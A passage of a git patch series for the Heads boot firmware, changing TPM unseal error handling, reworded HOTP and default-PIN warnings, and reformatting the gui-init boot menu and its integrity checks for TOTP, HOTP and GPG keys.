one!\n\nDo you want to proceed?" 0 80) then if ! prompt_new_owner_password; then echo "Press Enter to return to the menu..." diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 70d86e952..9c01d5d60 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -129,7 +129,8 @@ else echo "Trying $prompt_message PIN ($admin_pin) to seal HOTP secret on $HOTPKEY_BRANDING..." #if we deal with the nk3, say to the user that touch will be required if lsusb | grep -q "20a0:42b2"; then - warn "Touching the Nitrokey 3 to confirm presence operation is required" + warn "Nitrokey 3 requires physical presence : touch the dongle when prompted" + echo fi #TODO: silence the output of hotp_initialize once https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed #hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" >/dev/null 2>&1 @@ -161,7 +162,10 @@ if [ "$admin_pin_status" -ne 0 ]; then fi else # remind user to change admin password - warn "Factory $prompt_message default PIN 12345678 detected: please change this PIN as soon as possible through OEM Factory Reset/User Re-Ownership" + warn "Weak OEM default PINs are under use to enforce remote attestation/encryption/signature operations" + warn "$CONFIG_BRAND_NAME security is compromised until the ownership of this device is re-established by changing secrets by non-default values" + warn "You must change current default secrets through 'Options -> OEM Factory Reset/Re-Ownership' menu and not accept the default options" + warn "You will be asked to answer a questionnaire to re-own your device and USB security dongles with new secrets" fi # HOTP key no longer needed diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 61d966787..7dbe50432 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -363,7 +363,6 @@ tpm2_startsession() { tpm2 flushcontext -Q \ --saved-session || die "tpm2_flushcontext: unable to flush saved session" - #TODO: readpublic cannot be silenced even if redirected to /dev/null with both stderr and stdout redirected? tpm2 readpublic -Q -c "$PRIMARY_HANDLE" -t "$PRIMARY_HANDLE_FILE" >/dev/null 2>&1 #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" >/dev/null 2>&1 @@ -622,7 +621,10 @@ tpm2_unseal() { LOG "tpm2 stderr: $line" done <"$TMP_ERR_FILE" rm -f "$TMP_ERR_FILE" - die "Unable to unseal secret from TPM NVRAM" + LOG "Unable to unseal secret from TPM NVRAM" + + # should succeed, exit if it doesn't + exit 1 fi rm -f "$TMP_ERR_FILE" } @@ -649,6 +651,7 @@ tpm1_unseal() { -sz "$sealed_size" \ -of "$sealed_file" || die "Unable to read sealed file from TPM NVRAM" + # TODO: Cannot log + exit instead of dying!?! PASS_ARGS=() if [ "$pass" ]; then diff --git a/initrd/bin/unseal-totp b/initrd/bin/unseal-totp index b5ec14145..3ca7cf281 100755 --- a/initrd/bin/unseal-totp +++ b/initrd/bin/unseal-totp @@ -9,7 +9,7 @@ TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then tpmr unseal 4d47 0,1,2,3,4,7 312 "$TOTP_SECRET" || - die "Unable to unseal TOTP secret" + die "Unable to unseal TOTP secret from TPM" fi if ! totp -q <"$TOTP_SECRET"; then From 53156c3917144a4159391418ed2176d8faa00e21 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 13 Dec 2024 16:56:05 -0500 Subject: [PATCH 425/619] WiP: staging changes, refusing to fight against tools helping me, formatting changed. sign after tpm-reset now to work around primary handle issue. Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 1172 +++++++++++++++++----------------- initrd/bin/kexec-select-boot | 9 +- initrd/bin/kexec-sign-config | 39 +- initrd/bin/oem-factory-reset | 2 +- initrd/bin/seal-hotpkey | 8 +- initrd/bin/tpmr | 2 +- initrd/etc/ash_functions | 7 + 7 files changed, 622 insertions(+), 617 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index f89f1e151..1311963cb 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -1,7 +1,7 @@ #!/bin/bash # Boot from a local disk installation -BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} +BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | $CONFIG_BRAND_NAME Boot Menu" export BG_COLOR_MAIN_MENU="normal" @@ -16,627 +16,615 @@ export BG_COLOR_MAIN_MENU="normal" # # see errors again. skip_to_menu="false" - - -mount_boot() -{ - TRACE_FUNC - # Mount local disk if it is not already mounted - while ! grep -q /boot /proc/mounts ; do - # try to mount if CONFIG_BOOT_DEV exists - if [ -e "$CONFIG_BOOT_DEV" ]; then - mount -o ro $CONFIG_BOOT_DEV /boot - [[ $? -eq 0 ]] && continue - fi - - # CONFIG_BOOT_DEV doesn't exist or couldn't be mounted, so give user options - BG_COLOR_MAIN_MENU="error" - whiptail_error --title "ERROR: No Bootable OS Found!" \ - --menu " No bootable OS was found on the default boot device $CONFIG_BOOT_DEV. +mount_boot() { + TRACE_FUNC + # Mount local disk if it is not already mounted + while ! grep -q /boot /proc/mounts; do + # try to mount if CONFIG_BOOT_DEV exists + if [ -e "$CONFIG_BOOT_DEV" ]; then + mount -o ro $CONFIG_BOOT_DEV /boot + [[ $? -eq 0 ]] && continue + fi + + # CONFIG_BOOT_DEV doesn't exist or couldn't be mounted, so give user options + BG_COLOR_MAIN_MENU="error" + whiptail_error --title "ERROR: No Bootable OS Found!" \ + --menu " No bootable OS was found on the default boot device $CONFIG_BOOT_DEV. How would you like to proceed?" 0 80 4 \ - 'b' ' Select a new boot device' \ - 'u' ' Boot from USB' \ - 'm' ' Continue to the main menu' \ - 'x' ' Exit to recovery shell' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - b ) - config-gui.sh boot_device_select - if [ $? -eq 0 ]; then - # update CONFIG_BOOT_DEV - . /tmp/config - BG_COLOR_MAIN_MENU="normal" - fi - ;; - u ) - exec /bin/usb-init - ;; - m ) - skip_to_menu="true" - break - ;; - * ) - recovery "User requested recovery shell" - ;; - esac - done + 'b' ' Select a new boot device' \ + 'u' ' Boot from USB' \ + 'm' ' Continue to the main menu' \ + 'x' ' Exit to recovery shell' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + b) + config-gui.sh boot_device_select + if [ $? -eq 0 ]; then + # update CONFIG_BOOT_DEV + . /tmp/config + BG_COLOR_MAIN_MENU="normal" + fi + ;; + u) + exec /bin/usb-init + ;; + m) + skip_to_menu="true" + break + ;; + *) + recovery "User requested recovery shell" + ;; + esac + done } -verify_global_hashes() -{ - TRACE_FUNC - # Check the hashes of all the files, ignoring signatures for now - check_config /boot force - TMP_HASH_FILE="/tmp/kexec/kexec_hashes.txt" - TMP_TREE_FILE="/tmp/kexec/kexec_tree.txt" - TMP_PACKAGE_TRIGGER_PRE="/tmp/kexec/kexec_package_trigger_pre.txt" - TMP_PACKAGE_TRIGGER_POST="/tmp/kexec/kexec_package_trigger_post.txt" - - if verify_checksums /boot ; then - return 0 - elif [[ ! -f "$TMP_HASH_FILE" || ! -f "$TMP_TREE_FILE" ]] ; then - if (whiptail_error --title 'ERROR: Missing File!' \ - --yesno "One of the files containing integrity information for /boot is missing!\n\nIf you are setting up heads for the first time or upgrading from an\nolder version, select Yes to create the missing files.\n\nOtherwise this could indicate a compromise and you should select No to\nreturn to the main menu.\n\nWould you like to create the missing files now?" 0 80) then - if update_checksums ; then - BG_COLOR_MAIN_MENU="normal" - return 0; - else - whiptail_error --title 'ERROR' \ - --msgbox "Failed to update checksums / sign default config" 0 80 - fi - fi - BG_COLOR_MAIN_MENU="error" - return 1 - else - CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':' | tee -a /tmp/hash_output_mismatches) - CHANGED_FILES_COUNT=$(wc -l /tmp/hash_output_mismatches | cut -f1 -d ' ') - - # if files changed before package manager started, show stern warning - if [ -f "$TMP_PACKAGE_TRIGGER_PRE" ]; then - PRE_CHANGED_FILES=$(grep '^CHANGED_FILES' $TMP_PACKAGE_TRIGGER_POST | cut -f 2 -d '=' | tr -d '"') - TEXT="The following files failed the verification process BEFORE package updates ran:\n${PRE_CHANGED_FILES}\n\nCompare against the files $CONFIG_BRAND_NAME has detected have changed:\n${CHANGED_FILES}\n\nThis could indicate a compromise!\n\nWould you like to update your checksums anyway?" - - # if files changed after package manager started, probably caused by package manager - elif [ -f "$TMP_PACKAGE_TRIGGER_POST" ]; then - LAST_PACKAGE_LIST=$(grep -E "^(Install|Remove|Upgrade|Reinstall):" $TMP_PACKAGE_TRIGGER_POST) - UPDATE_INITRAMFS_PACKAGE=$(grep '^UPDATE_INITRAMFS_PACKAGE' $TMP_PACKAGE_TRIGGER_POST | cut -f 2 -d '=' | tr -d '"') - - if [ "$UPDATE_INITRAMFS_PACKAGE" != "" ]; then - TEXT="The following files failed the verification process AFTER package updates ran:\n${CHANGED_FILES}\n\nThis is likely due to package triggers in$UPDATE_INITRAMFS_PACKAGE.\n\nYou will need to update your checksums for all files in /boot.\n\nWould you like to update your checksums now?" - else - TEXT="The following files failed the verification process AFTER package updates ran:\n${CHANGED_FILES}\n\nThis might be due to the following package updates:\n$LAST_PACKAGE_LIST.\n\nYou will need to update your checksums for all files in /boot.\n\nWould you like to update your checksums now?" - fi - - else - if [ $CHANGED_FILES_COUNT -gt 10 ]; then - # drop to console to show full file list - whiptail_error --title 'ERROR: Boot Hash Mismatch' \ - --msgbox "${CHANGED_FILES_COUNT} files failed the verification process!\\n\nThis could indicate a compromise!\n\nHit OK to review the list of files.\n\nType \"q\" to exit the list and return." 0 80 - - echo "Type \"q\" to exit the list and return." >> /tmp/hash_output_mismatches - less /tmp/hash_output_mismatches - #move outdated hash mismatch list - mv /tmp/hash_output_mismatches /tmp/hash_output_mismatch_old - TEXT="Would you like to update your checksums now?" - else - TEXT="The following files failed the verification process:\n\n${CHANGED_FILES}\n\nThis could indicate a compromise!\n\nWould you like to update your checksums now?" - fi - fi - - if (whiptail_error --title 'ERROR: Boot Hash Mismatch' --yesno "$TEXT" 0 80) then - if update_checksums ; then - BG_COLOR_MAIN_MENU="normal" - return 0; - else - whiptail_error --title 'ERROR' \ - --msgbox "Failed to update checksums / sign default config" 0 80 - fi - fi - BG_COLOR_MAIN_MENU="error" - return 1 - fi +verify_global_hashes() { + TRACE_FUNC + # Check the hashes of all the files, ignoring signatures for now + check_config /boot force + TMP_HASH_FILE="/tmp/kexec/kexec_hashes.txt" + TMP_TREE_FILE="/tmp/kexec/kexec_tree.txt" + TMP_PACKAGE_TRIGGER_PRE="/tmp/kexec/kexec_package_trigger_pre.txt" + TMP_PACKAGE_TRIGGER_POST="/tmp/kexec/kexec_package_trigger_post.txt" + + if verify_checksums /boot; then + return 0 + elif [[ ! -f "$TMP_HASH_FILE" || ! -f "$TMP_TREE_FILE" ]]; then + if (whiptail_error --title 'ERROR: Missing File!' \ + --yesno "One of the files containing integrity information for /boot is missing!\n\nIf you are setting up heads for the first time or upgrading from an\nolder version, select Yes to create the missing files.\n\nOtherwise this could indicate a compromise and you should select No to\nreturn to the main menu.\n\nWould you like to create the missing files now?" 0 80); then + if update_checksums; then + BG_COLOR_MAIN_MENU="normal" + return 0 + else + whiptail_error --title 'ERROR' \ + --msgbox "Failed to update checksums / sign default config" 0 80 + fi + fi + BG_COLOR_MAIN_MENU="error" + return 1 + else + CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':' | tee -a /tmp/hash_output_mismatches) + CHANGED_FILES_COUNT=$(wc -l /tmp/hash_output_mismatches | cut -f1 -d ' ') + + # if files changed before package manager started, show stern warning + if [ -f "$TMP_PACKAGE_TRIGGER_PRE" ]; then + PRE_CHANGED_FILES=$(grep '^CHANGED_FILES' $TMP_PACKAGE_TRIGGER_POST | cut -f 2 -d '=' | tr -d '"') + TEXT="The following files failed the verification process BEFORE package updates ran:\n${PRE_CHANGED_FILES}\n\nCompare against the files $CONFIG_BRAND_NAME has detected have changed:\n${CHANGED_FILES}\n\nThis could indicate a compromise!\n\nWould you like to update your checksums anyway?" + + # if files changed after package manager started, probably caused by package manager + elif [ -f "$TMP_PACKAGE_TRIGGER_POST" ]; then + LAST_PACKAGE_LIST=$(grep -E "^(Install|Remove|Upgrade|Reinstall):" $TMP_PACKAGE_TRIGGER_POST) + UPDATE_INITRAMFS_PACKAGE=$(grep '^UPDATE_INITRAMFS_PACKAGE' $TMP_PACKAGE_TRIGGER_POST | cut -f 2 -d '=' | tr -d '"') + + if [ "$UPDATE_INITRAMFS_PACKAGE" != "" ]; then + TEXT="The following files failed the verification process AFTER package updates ran:\n${CHANGED_FILES}\n\nThis is likely due to package triggers in$UPDATE_INITRAMFS_PACKAGE.\n\nYou will need to update your checksums for all files in /boot.\n\nWould you like to update your checksums now?" + else + TEXT="The following files failed the verification process AFTER package updates ran:\n${CHANGED_FILES}\n\nThis might be due to the following package updates:\n$LAST_PACKAGE_LIST.\n\nYou will need to update your checksums for all files in /boot.\n\nWould you like to update your checksums now?" + fi + + else + if [ $CHANGED_FILES_COUNT -gt 10 ]; then + # drop to console to show full file list + whiptail_error --title 'ERROR: Boot Hash Mismatch' \ + --msgbox "${CHANGED_FILES_COUNT} files failed the verification process!\\n\nThis could indicate a compromise!\n\nHit OK to review the list of files.\n\nType \"q\" to exit the list and return." 0 80 + + echo "Type \"q\" to exit the list and return." >>/tmp/hash_output_mismatches + less /tmp/hash_output_mismatches + #move outdated hash mismatch list + mv /tmp/hash_output_mismatches /tmp/hash_output_mismatch_old + TEXT="Would you like to update your checksums now?" + else + TEXT="The following files failed the verification process:\n\n${CHANGED_FILES}\n\nThis could indicate a compromise!\n\nWould you like to update your checksums now?" + fi + fi + + if (whiptail_error --title 'ERROR: Boot Hash Mismatch' --yesno "$TEXT" 0 80); then + if update_checksums; then + BG_COLOR_MAIN_MENU="normal" + return 0 + else + whiptail_error --title 'ERROR' \ + --msgbox "Failed to update checksums / sign default config" 0 80 + fi + fi + BG_COLOR_MAIN_MENU="error" + return 1 + fi } -prompt_update_checksums() -{ - TRACE_FUNC - if (whiptail_warning --title 'Update Checksums and sign all files in /boot' \ - --yesno "You have chosen to update the checksums and sign all of the files in /boot.\n\nThis means that you trust that these files have not been tampered with.\n\nYou will need your GPG key available, and this change will modify your disk.\n\nDo you want to continue?" 0 80) then - if ! update_checksums ; then - whiptail_error --title 'ERROR' \ - --msgbox "Failed to update checksums / sign default config" 0 80 - fi - fi +prompt_update_checksums() { + TRACE_FUNC + if (whiptail_warning --title 'Update Checksums and sign all files in /boot' \ + --yesno "You have chosen to update the checksums and sign all of the files in /boot.\n\nThis means that you trust that these files have not been tampered with.\n\nYou will need your GPG key available, and this change will modify your disk.\n\nDo you want to continue?" 0 80); then + if ! update_checksums; then + whiptail_error --title 'ERROR' \ + --msgbox "Failed to update checksums / sign default config" 0 80 + fi + fi } -generate_totp_hotp() -{ - TRACE_FUNC - tpm_owner_password="$1" # May be empty, will prompt if needed and empty - if [ "$CONFIG_TPM" != "y" ] && [ -x /bin/hotp_verification ]; then - echo "Generating new HOTP secret" - /bin/seal-hotpkey - elif echo -e "Generating new TOTP secret...\n\n" && /bin/seal-totp "$BOARD_NAME" "$tpm_owner_password"; then - echo - if [ -x /bin/hotp_verification ]; then - if [ "$CONFIG_TOTP_SKIP_QRCODE" != y ]; then - echo "Once you have scanned the QR code, hit Enter to configure your HOTP USB Security dongle (e.g. Librem Key or Nitrokey)" - read - fi - /bin/seal-hotpkey - else - if [ "$CONFIG_TOTP_SKIP_QRCODE" != y ]; then - echo "Once you have scanned the QR code, hit Enter to continue" - read - fi - fi - # clear screen - printf "\033c" - else - warn "Unsealing TOTP/HOTP secret from previous sealed measurements failed" - warn 'Try "Generate new HOTP/TOTP secret" option if you updated firmware content' - fi +generate_totp_hotp() { + TRACE_FUNC + tpm_owner_password="$1" # May be empty, will prompt if needed and empty + if [ "$CONFIG_TPM" != "y" ] && [ -x /bin/hotp_verification ]; then + echo "Generating new HOTP secret" + /bin/seal-hotpkey + elif echo -e "Generating new TOTP secret...\n\n" && /bin/seal-totp "$BOARD_NAME" "$tpm_owner_password"; then + echo + if [ -x /bin/hotp_verification ]; then + if [ "$CONFIG_TOTP_SKIP_QRCODE" != y ]; then + echo "Once you have scanned the QR code, hit Enter to configure your HOTP USB Security dongle (e.g. Librem Key or Nitrokey)" + read + fi + /bin/seal-hotpkey + else + if [ "$CONFIG_TOTP_SKIP_QRCODE" != y ]; then + echo "Once you have scanned the QR code, hit Enter to continue" + read + fi + fi + # clear screen + printf "\033c" + else + warn "Unsealing TOTP/HOTP secret from previous sealed measurements failed" + warn 'Try "Generate new HOTP/TOTP secret" option if you updated firmware content' + fi } -update_totp() -{ - TRACE_FUNC - # update the TOTP code - date=`date "+%Y-%m-%d %H:%M:%S %Z"` - tries=0 - if [ "$CONFIG_TPM" != "y" ]; then - TOTP="NO TPM" - else - TOTP=`unseal-totp` - # On platforms using CONFIG_BOOT_EXTRA_TTYS multiple processes may try to - # access TPM at the same time, failing with EBUSY. The order of execution - # is unpredictable, so the error may appear on main console, secondary one, - # or neither of them if the calls are sufficiently staggered. Try up to - # three times (including previous one) with small delays in case of error, - # instead of immediately scaring users with "you've been pwned" message. - while [ $? -ne 0 ] && [ $tries -lt 2 ]; do - sleep 0.5 - ((tries++)) - TOTP=`unseal-totp` - done - if [ $? -ne 0 ]; then - BG_COLOR_MAIN_MENU="error" - if [ "$skip_to_menu" = "true" ]; then - return 1 # Already asked to skip to menu from a prior error - fi - - DEBUG "CONFIG_TPM: $CONFIG_TPM" - DEBUG "CONFIG_TPM2_TOOLS: $CONFIG_TPM2_TOOLS" - DEBUG "Show PCRs" - DEBUG "$(pcrs)" - - whiptail_error --title "ERROR: TOTP Generation Failed!" \ - --menu " ERROR: $CONFIG_BRAND_NAME couldn't generate the TOTP code.\n +update_totp() { + TRACE_FUNC + # update the TOTP code + date=$(date "+%Y-%m-%d %H:%M:%S %Z") + tries=0 + if [ "$CONFIG_TPM" != "y" ]; then + TOTP="NO TPM" + else + TOTP=$(unseal-totp) + # On platforms using CONFIG_BOOT_EXTRA_TTYS multiple processes may try to + # access TPM at the same time, failing with EBUSY. The order of execution + # is unpredictable, so the error may appear on main console, secondary one, + # or neither of them if the calls are sufficiently staggered. Try up to + # three times (including previous one) with small delays in case of error, + # instead of immediately scaring users with "you've been pwned" message. + while [ $? -ne 0 ] && [ $tries -lt 2 ]; do + sleep 0.5 + ((tries++)) + TOTP=$(unseal-totp) + done + if [ $? -ne 0 ]; then + BG_COLOR_MAIN_MENU="error" + if [ "$skip_to_menu" = "true" ]; then + return 1 # Already asked to skip to menu from a prior error + fi + + DEBUG "CONFIG_TPM: $CONFIG_TPM" + DEBUG "CONFIG_TPM2_TOOLS: $CONFIG_TPM2_TOOLS" + DEBUG "Show PCRs" + DEBUG "$(pcrs)" + + whiptail_error --title "ERROR: TOTP Generation Failed!" \ + --menu " ERROR: $CONFIG_BRAND_NAME couldn't generate the TOTP code.\n If you have just completed a Factory Reset, or just reflashed your BIOS, you should generate a new HOTP/TOTP secret.\n If this is the first time the system has booted, you should reset the TPM and set your own password.\n If you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n How would you like to proceed?" 0 80 4 \ - 'g' ' Generate new HOTP/TOTP secret' \ - 'i' ' Ignore error and continue to main menu' \ - 'p' ' Reset the TPM' \ - 'x' ' Exit to recovery shell' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - g ) - if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ - --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80) then - generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key - fi - ;; - i ) - skip_to_menu="true" - return 1 - ;; - p ) - reset_tpm && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key - ;; - x ) - recovery "User requested recovery shell" - ;; - esac - fi - fi + 'g' ' Generate new HOTP/TOTP secret' \ + 'i' ' Ignore error and continue to main menu' \ + 'p' ' Reset the TPM' \ + 'x' ' Exit to recovery shell' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + g) + if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ + --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80); then + generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key + fi + ;; + i) + skip_to_menu="true" + return 1 + ;; + p) + reset_tpm && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key + ;; + x) + recovery "User requested recovery shell" + ;; + esac + fi + fi } -update_hotp() -{ - TRACE_FUNC - HOTP="Unverified" - if [ -x /bin/hotp_verification ]; then - if ! hotp_verification info ; then - if [ "$skip_to_menu" = "true" ]; then - return 1 # Already asked to skip to menu from a prior error - fi - if ! whiptail_warning \ - --title "WARNING: Please Insert Your $HOTPKEY_BRANDING" \ - --yes-button "Retry" --no-button "Skip" \ - --yesno "Your $HOTPKEY_BRANDING was not detected.\n\nPlease insert your $HOTPKEY_BRANDING" 0 80 ; then - HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" - BG_COLOR_MAIN_MENU="warning" - return - fi - fi - HOTP=`unseal-hotp` - # Don't output HOTP codes to screen, so as to make replay attacks harder - hotp_verification check "$HOTP" - case "$?" in - 0 ) - HOTP="Success" - BG_COLOR_MAIN_MENU="normal" - ;; - 4|7 ) # 4: code was incorrect, 7: code was not a valid HOTP code at all - HOTP="Invalid code" - BG_COLOR_MAIN_MENU="error" - ;; - * ) - HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" - BG_COLOR_MAIN_MENU="warning" - ;; - esac - else - HOTP='N/A' - fi - - if [[ "$CONFIG_TPM" = n && "$HOTP" = "Invalid code" ]]; then - whiptail_error --title "ERROR: HOTP Validation Failed!" \ - --menu "ERROR: $CONFIG_BRAND_NAME couldn't validate the HOTP code.\n\nIf you just reflashed your BIOS, you should generate a new TOTP/HOTP secret.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ - 'g' ' Generate new TOTP/HOTP secret' \ - 'i' ' Ignore error and continue to main menu' \ - 'x' ' Exit to recovery shell' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - g ) - if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ - --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80) then - generate_totp_hotp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key - fi - ;; - i ) - return 1 - ;; - x ) - recovery "User requested recovery shell" - ;; - esac - fi +update_hotp() { + TRACE_FUNC + HOTP="Unverified" + if [ -x /bin/hotp_verification ]; then + if ! hotp_verification info; then + if [ "$skip_to_menu" = "true" ]; then + return 1 # Already asked to skip to menu from a prior error + fi + if ! whiptail_warning \ + --title "WARNING: Please Insert Your $HOTPKEY_BRANDING" \ + --yes-button "Retry" --no-button "Skip" \ + --yesno "Your $HOTPKEY_BRANDING was not detected.\n\nPlease insert your $HOTPKEY_BRANDING" 0 80; then + HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" + BG_COLOR_MAIN_MENU="warning" + return + fi + fi + HOTP=$(unseal-hotp) + # Don't output HOTP codes to screen, so as to make replay attacks harder + hotp_verification check "$HOTP" + case "$?" in + 0) + HOTP="Success" + BG_COLOR_MAIN_MENU="normal" + ;; + 4 | 7) # 4: code was incorrect, 7: code was not a valid HOTP code at all + HOTP="Invalid code" + BG_COLOR_MAIN_MENU="error" + ;; + *) + HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" + BG_COLOR_MAIN_MENU="warning" + ;; + esac + else + HOTP='N/A' + fi + + if [[ "$CONFIG_TPM" = n && "$HOTP" = "Invalid code" ]]; then + whiptail_error --title "ERROR: HOTP Validation Failed!" \ + --menu "ERROR: $CONFIG_BRAND_NAME couldn't validate the HOTP code.\n\nIf you just reflashed your BIOS, you should generate a new TOTP/HOTP secret.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ + 'g' ' Generate new TOTP/HOTP secret' \ + 'i' ' Ignore error and continue to main menu' \ + 'x' ' Exit to recovery shell' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + g) + if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ + --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80); then + generate_totp_hotp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key + fi + ;; + i) + return 1 + ;; + x) + recovery "User requested recovery shell" + ;; + esac + fi } -clean_boot_check() -{ - TRACE_FUNC - # assume /boot mounted - if ! grep -q /boot /proc/mounts ; then - return - fi - - # check for any kexec files in /boot - kexec_files=`find /boot -name kexec*.txt` - [ ! -z "$kexec_files" ] && return - - #check for GPG key in keyring - GPG_KEY_COUNT=`gpg -k 2>/dev/null | wc -l` - [ $GPG_KEY_COUNT -ne 0 ] && return - - # check for USB security token - if [ -x /bin/hotp_verification ]; then - if ! gpg --card-status > /dev/null ; then - return - fi - fi - - # OS is installed, no kexec files present, no GPG keys in keyring, security token present - # prompt user to run OEM factory reset - oem-factory-reset \ - "Clean Boot Detected - Perform OEM Factory Reset / Re-Ownership?" +clean_boot_check() { + TRACE_FUNC + # assume /boot mounted + if ! grep -q /boot /proc/mounts; then + return + fi + + # check for any kexec files in /boot + kexec_files=$(find /boot -name kexec*.txt) + [ ! -z "$kexec_files" ] && return + + #check for GPG key in keyring + GPG_KEY_COUNT=$(gpg -k 2>/dev/null | wc -l) + [ $GPG_KEY_COUNT -ne 0 ] && return + + # check for USB security token + if [ -x /bin/hotp_verification ]; then + if ! gpg --card-status >/dev/null; then + return + fi + fi + + # OS is installed, no kexec files present, no GPG keys in keyring, security token present + # prompt user to run OEM factory reset + oem-factory-reset \ + "Clean Boot Detected - Perform OEM Factory Reset / Re-Ownership?" } -check_gpg_key() -{ - TRACE_FUNC - GPG_KEY_COUNT=`gpg -k 2>/dev/null | wc -l` - if [ $GPG_KEY_COUNT -eq 0 ]; then - BG_COLOR_MAIN_MENU="error" - if [ "$skip_to_menu" = "true" ]; then - return 1 # Already asked to skip to menu from a prior error - fi - whiptail_error --title "ERROR: GPG keyring empty!" \ - --menu "ERROR: $CONFIG_BRAND_NAME couldn't find any GPG keys in your keyring.\n\nIf this is the first time the system has booted,\nyou should add a public GPG key to the BIOS now.\n\nIf you just reflashed a new BIOS, you'll need to add at least one\npublic key to the keyring.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ - 'g' ' Add a GPG key to the running BIOS' \ - 'F' ' OEM Factory Reset / Re-Ownership' \ - 'i' ' Ignore error and continue to main menu' \ - 'x' ' Exit to recovery shell' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - case "$option" in - g ) - gpg-gui.sh && BG_COLOR_MAIN_MENU="normal" - ;; - i ) - skip_to_menu="true" - return 1 - ;; - F ) - oem-factory-reset - ;; - - x ) - recovery "User requested recovery shell" - ;; - esac - fi +check_gpg_key() { + TRACE_FUNC + GPG_KEY_COUNT=$(gpg -k 2>/dev/null | wc -l) + if [ $GPG_KEY_COUNT -eq 0 ]; then + BG_COLOR_MAIN_MENU="error" + if [ "$skip_to_menu" = "true" ]; then + return 1 # Already asked to skip to menu from a prior error + fi + whiptail_error --title "ERROR: GPG keyring empty!" \ + --menu "ERROR: $CONFIG_BRAND_NAME couldn't find any GPG keys in your keyring.\n\nIf this is the first time the system has booted,\nyou should add a public GPG key to the BIOS now.\n\nIf you just reflashed a new BIOS, you'll need to add at least one\npublic key to the keyring.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ + 'g' ' Add a GPG key to the running BIOS' \ + 'F' ' OEM Factory Reset / Re-Ownership' \ + 'i' ' Ignore error and continue to main menu' \ + 'x' ' Exit to recovery shell' \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + option=$(cat /tmp/whiptail) + case "$option" in + g) + gpg-gui.sh && BG_COLOR_MAIN_MENU="normal" + ;; + i) + skip_to_menu="true" + return 1 + ;; + F) + oem-factory-reset + ;; + + x) + recovery "User requested recovery shell" + ;; + esac + fi } -prompt_auto_default_boot() -{ - TRACE_FUNC - echo -e "\nHOTP verification success\n\n" - if pause_automatic_boot; then - echo -e "\n\nAttempting default boot...\n\n" - attempt_default_boot - fi +prompt_auto_default_boot() { + TRACE_FUNC + echo -e "\nHOTP verification success\n\n" + if pause_automatic_boot; then + echo -e "\n\nAttempting default boot...\n\n" + attempt_default_boot + fi } -show_main_menu() -{ - TRACE_FUNC - date=`date "+%Y-%m-%d %H:%M:%S %Z"` - whiptail_type $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ - --menu "$date\nTOTP: $TOTP | HOTP: $HOTP" 0 80 10 \ - 'd' ' Default boot' \ - 'r' ' Refresh TOTP/HOTP' \ - 'o' ' Options -->' \ - 's' ' System Info' \ - 'p' ' Power Off' \ - 2>/tmp/whiptail || recovery "GUI menu failed" - - option=$(cat /tmp/whiptail) - 